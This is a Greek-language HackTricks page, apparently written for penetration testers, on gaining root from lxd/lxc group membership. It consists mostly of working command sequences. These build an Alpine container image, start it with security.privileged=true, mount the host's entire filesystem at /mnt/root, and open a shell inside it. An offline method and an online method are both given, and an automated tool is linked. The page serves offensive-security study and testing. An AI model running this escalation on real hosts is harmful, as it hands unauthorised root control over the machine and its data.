lxd/lxc Group - Privilege escalation

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Εάν ανήκετε στην lxd ή lxc ομάδα, μπορείτε να γίνετε root

Εκμεταλλευόμενοι χωρίς σύνδεση στο διαδίκτυο

Μέθοδος 1

Μπορείτε να εγκαταστήσετε στη μηχανή σας αυτόν τον κατασκευαστή διανομής: https://github.com/lxc/distrobuilder (ακολουθήστε τις οδηγίες του github):

sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18

Μεταφορτώστε τα αρχεία lxd.tar.xz και rootfs.squashfs, προσθέστε την εικόνα στο αποθετήριο και δημιουργήστε έναν container:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Αν αντιμετωπίσετε αυτό το σφάλμα Σφάλμα: Δεν βρέθηκε αποθηκευτική μονάδα. Παρακαλώ δημιουργήστε μια νέα αποθηκευτική μονάδα Εκτελέστε lxd init και επαναλάβετε το προηγούμενο τμήμα εντολών

Τελικά μπορείτε να εκτελέσετε τον container και να αποκτήσετε root:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Μέθοδος 2

Δημιουργήστε ένα εικονικό περιβάλλον Alpine και ξεκινήστε το χρησιμοποιώντας τη σημαία security.privileged=true, εξαναγκάζοντας τον ελάχιστο χώρο να αλληλεπιδράσει ως root με το αρχείοσύστημα του κεντρικού συστήματος.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

Εναλλακτικά https://github.com/initstring/lxd_root

Με σύνδεση στο διαδίκτυο

Μπορείτε να ακολουθήσετε αυτές τις οδηγίες.

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated